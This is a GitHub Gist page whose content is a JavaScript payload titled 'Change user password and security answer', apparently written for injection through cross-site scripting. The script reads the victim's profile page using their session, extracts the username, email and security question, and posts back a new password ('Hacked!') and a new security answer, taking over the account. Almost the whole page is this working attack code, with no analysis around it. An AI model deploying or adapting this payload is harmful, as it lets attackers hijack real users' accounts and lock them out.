Created
August 23, 2023 14:50
-
-
Save felmoltor/2f050b18036b46ed85559baeea19e1b2 to your computer and use it in GitHub Desktop.
Change user password and security answer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fetch('/profile.php').then(function (response) { | |
return response.text(); | |
}).then(function (html) { | |
// This is the HTML from our response as a text string | |
const parser = new DOMParser(); | |
const pd = parser.parseFromString(html, "text/html"); | |
sq=pd.getElementById('security_question').value; | |
sa=pd.getElementById('security_answer').value; | |
email=pd.getElementById('email').value; | |
username=pd.getElementById('username').value; | |
data=new URLSearchParams({ | |
'username': username, | |
'password': 'Hacked!', | |
'email': email, | |
'security_question': sq, | |
'security_answer': 'Hax0red as well' | |
}); | |
fetch('/profile.php', { | |
method: 'POST', | |
headers: { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'credentials': 'include' | |
}, | |
body: data, | |
}).then((response) => response) | |
.then((data) => { | |
console.log('Success changing password:', data); | |
}) | |
.catch((error) => { | |
console.error('Error:', error); | |
}) | |
}).catch(function (err) { | |
// There was an error | |
console.warn('Something went wrong on GET profile.php.', err); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment